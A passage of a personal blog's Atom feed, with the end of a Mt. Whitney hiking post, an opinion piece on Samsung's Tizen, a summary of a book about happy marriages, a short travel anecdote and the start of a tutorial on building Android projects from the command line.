<li>It was all snow covered - knee-deep snow in some places.</li>
<li>99 switchbacks are not possible under such conditions, so, we climbed up the chute.</li>
<li>The trail is dangerous beyond trail crest, don&rsquo;t go alone.</li>
</ol>
<p>Do</p>
<ol>
<li>Start early, preferably by 5 AM (we were late).</li>
<li>Take hiking boots, hiking poles, gaiters, and crampons - I had microspikes (instead of crampons) and was without gaiters, it worked.</li>
<li>Practice walking the ascents (~10% or more) on hikes or treadmill.</li>
<li>Carry a stove and mug to heat and drink warm water.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/mt-whitney" term="mt-whitney" label="mt-whitney"/><category scheme="https://ashishb.net/tag/california" term="california" label="california"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Thoughts on Tizen</title><link href="https://ashishb.net/tech/thoughts-on-tizen/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/musicsync-audio-player/?utm_source=atom_feed" rel="related" type="text/html" title="MusicSync: best alternative to Google Play Music and Google Podcasts"/><link href="https://ashishb.net/tech/dealing-with-phone-numbers-in-contact-book/?utm_source=atom_feed" rel="related" type="text/html" title="Dealing with phone numbers in contact book"/><link href="https://ashishb.net/tech/google-i-o-2018-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2018: Android Notes"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><id>https://ashishb.net/tech/thoughts-on-tizen/</id><author><name>Ashish Bhatia</name></author><published>2015-01-24T18:00:07+00:00</published><updated>2015-01-24T18:00:07+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why Samsung&rsquo;s Tizen OS could challenge the iOS and Android duopoly, with potential for open-source collaboration and developer engagement.</blockquote><p>Users won&rsquo;t buy a phone till they know that their basic set of apps is available on the device.
That pretty much rules out players like   
    
    
<a href="https://www.zdnet.com/article/blackberry-wants-laws-to-force-app-developers-onto-bb10/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">BlackBerry 10</a>,   
    
    
<a href="https://sailfishos.org?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Jolla</a>,   
    
    
<a href="https://www.pcworld.com/article/2045107/ultimate-goal-for-ubuntu-edge-phone-may-go-beyond-crowdfunding-campaign.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ubuntu OS</a>, and   
    
    
<a href="https://developer.mozilla.org/en-US/Firefox_OS?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Firefox OS</a>.
Even Microsoft is still   
    
    
<a href="https://www.idc.com/prodserv/smartphone-os-market-share.jsp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">struggling</a>.
OEMs like Samsung, HTC, LG, and Sony have been hit hard by the   
    
    
<a href="https://www.androidauthority.com/google-oem-cope-commodization-403372/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">commoditization</a> of Android.
Google makes money from Google Play, cheaper phones imply more users.
So, the commoditization of Android OEMs is good for Google.
These OEMs have to customize Android as per Google&rsquo;s   
    
    
<a href="https://www.benedelman.org/news/021314-1.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">requirements</a> which have   
    
    
<a href="https://www.droid-life.com/2014/09/26/google-apps-google-play-manufacturers-mada/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">increased</a> over time.
They cannot manufacture a competing version of Android (like Amazon&rsquo;s Fire Phone) either.
This leaves us with iOS and Google-experience Android duopoly.
The only way to break that duopoly is Samsung, which is big enough that it can convince major developers to develop apps
for its devices and throw money at   
    
    
<a href="https://www.zdnet.com/article/samsungs-marketing-blitz-vs-apple-effective-but-big-data-would-help/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">marketing</a> to reach out to end users.
It can make money from selling devices as well as selling apps (via the app store).
A completely open-source OS can pull open-source developers from GNU/Linux and Android to develop it.
A completely open-source OS can convince other OEMs to use it and in lieu, they can partner with Samsung on app store revenue sharing.
It remains to see what Tizen&rsquo;s delayed   
    
    
<a href="https://timesofindia.indiatimes.com/tech/mobiles/Samsung-launches-Z1-its-first-Tizen-phone-at-Rs-5700/articleshow/45883319.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">launch</a> eventually leads to, but it&rsquo;s a matter of   
    
    
<a href="https://www.pcmag.com/article2/0,2817,2472689,00.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">survival</a> for Samsung.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/samsung" term="samsung" label="samsung"/><category scheme="https://ashishb.net/tag/tizen" term="tizen" label="tizen"/></entry><entry><title type="html">Book summary: The science of happily ever after by T Y Tashiro</title><link href="https://ashishb.net/book-summary/the-science-of-happily-ever-after/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/fooled-by-randomness/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Fooled by Randomness by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/?utm_source=atom_feed" rel="related" type="text/html" title="Influence: The Psychology of Persuasion by Robert B. Cialdini"/><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="related" type="text/html" title="Sometimes the middle ground is most empowering"/><link href="https://ashishb.net/misc/good-diet-action-list/?utm_source=atom_feed" rel="related" type="text/html" title='Diet action plan from "How not to die" book'/><link href="https://ashishb.net/misc/binary-vs-graded-outcomes/?utm_source=atom_feed" rel="related" type="text/html" title="Binary vs Graded outcomes"/><id>https://ashishb.net/book-summary/the-science-of-happily-ever-after/</id><author><name>Ashish Bhatia</name></author><published>2015-01-13T08:11:27+00:00</published><updated>2015-01-13T08:11:27+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how to achieve a happy marriage with insights on why only 30% are successful. Explore love&rsquo;s nature, partner selection, and red flags in relationships.</blockquote><p>The   
    
    
<a href="https://amzn.to/1BpbfoJ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is an interesting take on what it takes to attain a happy marriage and why only ~30% of us end up in happy marriages.
The book is divided into three sections - what is love, why we fail in the game of love and what can we do differently to succeed at it.</p>
<h2 id="the-nature-of-love">The nature of love</h2>
<h3 id="why-happily-ever-after-is-so-hard-to-find">Why happily ever after is so hard to find</h3>
<ol>
<li>In the western world,
<ol>
<li>50% of marriages end up in divorce,</li>
<li>~10-15% are separated without divorce and</li>
<li>~7% go along with an unhappy marriage
which implies only 30% live happily ever after.</li>
</ol>
</li>
<li>Being &ldquo;in love&rdquo; is equivalent to having a &ldquo;liking&rdquo; (fairness, kindness, loyalty) and a &ldquo;lust&rdquo; (sexual desire).</li>
<li>Post-marriage, liking declines at about 3% annually while lust declines 8% annually (in first 7 years of marriage) =&gt; from a long term perspective, it&rsquo;s better to invest in liking than lust.</li>
<li>Children&rsquo;s fairy-tale belief about love is a beautiful girl falling in for a brave hero and they fall for each other in minutes. This is far from what happens in reality</li>
</ol>
<h3 id="why-you-get-only-three-wishes-for-love">Why you get only three wishes for love</h3>
<ol>
<li>Stability of traits - Traits rarely change. The traits which people carry during their initial period of dating are indicative of how they will behave in the future.</li>
<li>Due to &ldquo;positive illusions&rdquo;, we ignore annoying traits of the person, we are dating.</li>
<li>The friends/observers of the relationship had a better perception of the relation [   
    
    
<a href="https://eric.ed.gov/?id=EJ889653&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reference</a>].</li>
<li>The popular notion of being intoxicated by love is not that incorrect</li>
<li>Singles end up wishing for an unreasonable number of traits in their partners. They usually end up grabbing partners based on the traits they first see (in lieu of traits they would have most wished for).</li>
<li>Most choices are by chance [   
    
    
<a href="https://www.ncbi.nlm.nih.gov/pubmed/8355143?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reference</a>].</li>
<li>Wishing for at most three wishes for a partner is a pragmatic choice, anything beyond is too wishful.</li>
</ol>
<h2 id="wishing-for-the-wrong-partner">Wishing for the wrong partner</h2>
<h3 id="why-we-squander-our-wishes">Why we squander our wishes</h3>
<ol>
<li>Strategic marriage: Before the 1800s, short life expectancies and a constant struggle for survival =&gt; just finding a mate and procreating was a hard enough challenge that singles would optimize for reproductive fitness (healthy partner =&gt; physical strength, good immune systems). In a dangerous environment for struggle, thinking of marrying someone for romantic inklings would be far fetched.</li>
<li>Romantic marriage: As the life expectancy began to rise and urbanization happened (more mating options in close proximity), &ldquo;marrying for love&rdquo; was actually possible.
While investing in reproductive fitness had a good return on investment (RoI) during the previous era, now with much healthier individuals, its RoI is limited.</li>
<li>When   
    
    
<a href="https://www.bradley.edu/dotAsset/165805.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">asked</a> to rank traits, physical attractiveness was 4th for men and 5th for women (among the list of 10 traits) and resources were at the bottom while agreeableness and intelligence were high up.
But when they were forced to choose only a small number of traits, they chose physical attractiveness and resources (men prioritized looks and women prioritized resources).</li>
<li>When singles were asked to rate themselves and partners on certain traits, in terms of physical attractiveness and wealth, there was strong to moderate similarity while on personality traits like kindness, extroversion, etc. there were only weak associations.
So, a modern marriage game is about fighting the urge of reproductively fit mate with the psychological urge of a happy marriage.
Most broken real-life marriages are about passionate lovers falling apart once the ephemeral passionate love phase is over.
It leaves people with lovely moments and tragic endings.</li>
</ol>
<h3 id="wishing-for-physical-attraction">Wishing for physical attraction</h3>
<ol>
<li>What is a beautiful face?
The symmetry of the left and right side of the face - a beautiful face.
The average size of facial features (they are believed to correlate with immunity to a broad range of diseases) - cute face.
Prominent features (wide jawline for men and voluptuous lips for women) - sexy face.
Apart from these three underlying rules, personal preferences do play a role in deciding what we find to be beautiful.</li>
<li>What is a beautiful body?
We have the remarkable subconscious ability to judge symmetry of a body.
Prominent features like V-shape for men, 0.7 waists to hip ratio for women, indicate a high amount of reproductive hormones.
Good physical appearance is an indicator of good reproductive hormones, therefore, we are subconsciously trying to choose better survival for the offsprings.</li>
<li>RoI of physical attractiveness
Physical attractiveness does correlate with reproductive health and general fitness (Exception: V-shape in men correlates with   
    
    
<a href="https://books.google.com/books?id=jc0xAQAAQBAJ&amp;pg=PA97&amp;lpg=PA97&amp;dq=V-shape&#43;in&#43;men&#43;higher&#43;mortality&#43;risk&amp;source=bl&amp;ots=M3MtEN8kAW&amp;sig=F4DtagXKi4-vZzbtu2f46aGyGSo&amp;hl=en&amp;sa=X&amp;ei=LWW3VPWoC8OvyAS_s4Eo&amp;ved=0CEcQ6AEwBw#v=onepage&amp;q=V-shape%20in%20men%20higher%20mortality%20risk&amp;f=false&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">higher</a> mortality risk) but returns are diminishing in the modern context.
Psychological implications: &ldquo;What is beautiful is good&rdquo; is a subconscious belief. Attractive people are judged to have better social skills, more intelligence, and better mental health.
Relationship satisfaction: Attractive men are less satisfied in a relation, no other causal   
    
    
<a href="https://www.ncbi.nlm.nih.gov/pubmed/18266540?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">relationship</a> was found. If the wife is relatively more attractive than the husband, there is more positivity in the relation, if the husband is more attractive, there is more negativity.
Therefore, given the constraint of three wishes, using one for attractiveness is a poor return on investment.</li>
</ol>
<h3 id="wishing-for-wealth">Wishing for wealth</h3>
<ol>
<li>We love wealth since, in the past, we could just not get hold of enough of it.</li>
<li>In the US,   
    
    
<a href="https://www.pnas.org/content/107/38/16489.abstract?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">75,000 $ annual household income</a> is best for kids, kids born in lower-income families miss out on basic needs and kids born in higher income families suffer from anxiety and depression.</li>
<li>For lower income families, economic hardship takes a toll on the relationship stability but beyond a certain sustainable income, more wealth leads to diminishing returns in terms of relationship stability.</li>
<li>Marriages done solely for one partner&rsquo;s wealth are not stable.</li>
</ol>
<h2 id="finding-happily-ever-after">Finding Happily Ever After</h2>
<h3 id="seeing-your-romantic-future-with-your-crystal-ball">Seeing your romantic future with your crystal ball</h3>
<ol>
<li>After a failed relation, people look back and see the red flags which were visible in the beginning and they decided to rationalize them out during the charm of the relation.
Observing the important personality traits during the relationship and trying to estimate the chances of forming a satisfying and stable relationship is important.
Couples when asked to estimate their probability of divorce put it at 10%. Then they were told that the divorce rate is 50% and now they estimated the probability of their divorce to be 23% while estimating 58% for others.
Another study showed that couples rated each other&rsquo;s marriage much higher than the friends/family around them, 6 months later in a follow-up study, it was found that friends/family were a more accurate judge of the relation.</li>
<li>What should I be looking for in a partner?
Look for traits, characteristics consistent over time, like personality, physical features, etc.
Personality traits - extroverted vs introverted, nice or mean, calm or neurotic.
  
    
    
<a href="https://en.wikipedia.org/wiki/Attachment_theory?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Attachment</a> style developed during childhood continues into adulthood, it could be - secure/insecure/avoidant</li>
<li>Do engagements/marriages/babies change people?
No
We are born with genetic predispositions towards certain traits and growing up with our biological parents just reinforces those traits.
What you see is what you get in your partner forever.</li>
</ol>
<h3 id="the-power-of-personality">The Power of personality</h3>
<ol>
<li>Nature (genetics) plays a   
    
    
<a href="https://www.livescience.com/47288-twin-study-importance-of-genetics.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">stronger</a> role in personality than nurture. Nurture definitely can enhance or curb personality traits.</li>
<li>Traits like height, extroversion, intelligence, emotional stability are highly inheritable, others like religiousness are not.</li>
<li>The best way to know one&rsquo;s personality to is to ask friends/family members for a personality report like   
    
    
<a href="https://www.outofservice.com/bigfive/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">big five</a>, the person themselves and their love are just too biased to give an accurate judgment.</li>
<li>Self-saboteurs: Neurotic individuals tend to have a history of turbulent relations.
They also seem to face unfortunate events from their environment which on the surface appear as bad luck.
Their short term immediate reward mechanism triggers the worst long term consequences.
  
    
    
<a href="https://en.wikipedia.org/wiki/Neuroticism?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Neuroticism</a> is a predictor of lower relationship stability.</li>
<li>Cheaters: Individuals who are high on openness and low on conscientiousness have a novelty-seeking personality.
They are fun and exciting and are initially deeply absorbed in relation.
They are associated with abusive behavior and explosiveness during conflicts.
In the long run, however, they provide less relationship stability.
They are most likely going to end a relationship because the &ldquo;spark is gone&rdquo;.</li>
<li>Nice guys: Novelty seekers or neurotic individuals are best for the dangerous mating environment. But in the modern world, lifelong partnerships have to last twice as long, agreeableness and responsiveness turned out to be the better predictors of long term stability.</li>
<li>The ideal partner would be moderate in neuroticism, moderate in novelty seeking and high in agreeableness.</li>
<li>What distinguishes a great marriage from a good marriage is how much appreciation trumps tolerance.</li>
</ol>
<h3 id="role-of-in-laws">Role of In-laws</h3>
<ol>
<li>Relations with caregivers (parents) can be   
    
    
<a href="https://greatergood.berkeley.edu/article/item/how_to_stop_attachment_insecurity_from_ruining_your_love_life?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">secure, insecure or avoidant</a> and they reflect on what kind of adult relations will the child form.</li>
<li>The chances of a secure child becoming an insecure adult are higher than vice versa.</li>
<li>Research shows that people end up picking partners who have similar attachment style while they would be better of picking partners with a secure attachment style (test   
    
    
<a href="https://www.web-research-design.net/cgi-bin/crq/crq.pl?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>).</li>
<li>The anxious (insecure) attachment has shown to have an association with increased risk of heart diseases, it also correlates with poor management of illness.</li>
<li>Insecure attachment causes conflicts during interactions and leads to lower relationship quality.</li>
<li>Avoidant attachment causes lower connectedness and hence, lower relationship quality.</li>
<li>If you are an anxious individual: don&rsquo;t panic during critical situations.</li>
<li>If you are an avoidant individual: don&rsquo;t run away from critical situations.</li>
</ol>
<h3 id="red-flags-in-relationships">Red flags in relationships</h3>
<ol>
<li>A good relation   
    
    
<a href="https://www.psychologytoday.com/articles/200403/marriage-math?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">needs</a> five positives to one negative interaction.</li>
<li>Negative   
    
    
<a href="https://www.psychologytoday.com/blog/between-you-and-me/201210/you-be-the-judge-are-you-making-bad-attributions?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">partner attributions</a> are strongly correlated with divorce.</li>
<li>  
    
    
<a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3218801/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Demand/withdrawal pattern</a> is another big red flag.</li>
<li>Relationship capitalization happens when one partner shares a piece of good news and the other one responds with an equally good amount of enthusiasm.</li>
<li>A partner can respond in an active/passive constructive/destructive way,   
    
    
<a href="https://www.pbs.org/thisemotionallife/blogs/happiness-exercise-how-make-people-love-you?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">active constructive</a> is best of all and produces marital satisfaction as well as a strong feeling of intimacy.</li>
</ol>
<h3 id="how-to-make-your-wishes-come-true">How to make your wishes come true</h3>
<p>Behavioral activation approach</p>
<ol>
<li>Clarify the ultimate goal - to live happily ever after (and not to get distracted by primitive instincts guiding you towards physical attraction and wealth)</li>
<li>Identify your partner selection patterns - Rate past relations/attractions on novelty seeking, neuroticism, agreeableness and attachment style to identify your own preferences. Also, rate oneself using the same metrics.</li>
<li>Make wishes - List of 10 wishes you want in the life partner, rank them and select top 3.</li>
<li>Design a plan of action - List out small steps to attain the goal</li>
<li>Track small victories</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/life" term="life" label="life"/><category scheme="https://ashishb.net/tag/psychology" term="psychology" label="psychology"/><category scheme="https://ashishb.net/tag/relationship" term="relationship" label="relationship"/></entry><entry><title type="html">At a local bus stand in Mexico...</title><link href="https://ashishb.net/short-stories/at-a-local-bus-stand-in-mexico/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/american-vs-indian-doctor/?utm_source=atom_feed" rel="related" type="text/html" title="American vs Indian doctor"/><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="related" type="text/html" title="The clash of cultural expectations"/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="related" type="text/html" title="At a juice stall in Sri Lanka"/><id>https://ashishb.net/short-stories/at-a-local-bus-stand-in-mexico/</id><author><name>Ashish Bhatia</name></author><published>2015-01-06T09:59:55+00:00</published><updated>2015-01-06T09:59:55+00:00</updated><content type="html"><![CDATA[<blockquote>A humorous tale of cultural exchange at a Mexican bus stand as a mother learns to ask for the time in Spanish and shares laughs with a local woman.</blockquote><h2 id="at-a-local-bus-stand-in-mexico">At a local bus stand in Mexico</h2>
<p>After I explained to my mother that to ask for time in Spanish (Espanol), she has to start with <em>ke time se</em> (Haryanvi), replace time with <em>hora</em> and reverse <em>se</em> to <em>es</em>.
She turns to her left and asks the mexican <em>mujer</em> (woman), <em>ke [que] hora es</em>.
The mujer shows her watch and tells the time in espanol, which of course was incomprehensible for us.<em>Las dos mujeres</em> (The two women) then laughed.</p>
<p>It all went as expected till the mexican mujer asks my mother &quot; <em>habla espanol</em>&quot; (do you speak spanish), to which my mother (learning from my previous interactions with Mexicans) replies <em>poquito</em> (a little bit), and I gave her with a perplexed look.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/family" term="family" label="family"/></entry><entry><title type="html">Android command-line: gradle and testing</title><link href="https://ashishb.net/programming/android-command-line-gradle-and-testing/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-gradle-and-compile-time-dependencies/?utm_source=atom_feed" rel="related" type="text/html" title="Android, Gradle and compile-time only dependencies"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><id>https://ashishb.net/programming/android-command-line-gradle-and-testing/</id><author><name>Ashish Bhatia</name></author><published>2015-01-03T22:55:16+00:00</published><updated>2015-01-03T22:55:16+00:00</updated><content type="html"><![CDATA[<blockquote>Learn to build, install, and test Android projects using command line tools with this detailed guide. Streamline your development process efficiently!</blockquote><p>For android projects, some engineers use   
    
    
<a href="https://developer.android.com/tools/studio/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Android Studio</a> (new), some use   
    
    
<a href="https://developer.android.com/tools/sdk/eclipse-adt.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Eclipse with ADT</a> (old), few like me still savor command line, this blog post is about handling (building, installing and testing) android projects from command line.</p>
<ol>
<li>
<p>To create android project</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ android create project --target <span style="color:#2aa198">4</span> --name TestAndroidApp --path ./test_android_app --activity Main --package net.ashishb.TestAndroidApp --gradle --gradle-version 1.0.+&amp;nbsp;
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>After changing to directory test_android_app (cd test_android_app), fix a   
    
    
<a href="https://stackoverflow.com/questions/27233800/android-studio-could-not-find-method-runproguard-for-arguments?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bug</a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#586e75"># Replace &#34;runProguard&#34; with &#34;minifyEnabled&#34; in build.gradle</span>
</span></span><span style="display:flex;"><span>$ sed -i <span style="color:#2aa198">&#39;&#39;</span> <span style="color:#2aa198">&#39;s/runProguard/minifyEnabled/&#39;</span> build.gradle
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Some useful gradle commands</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
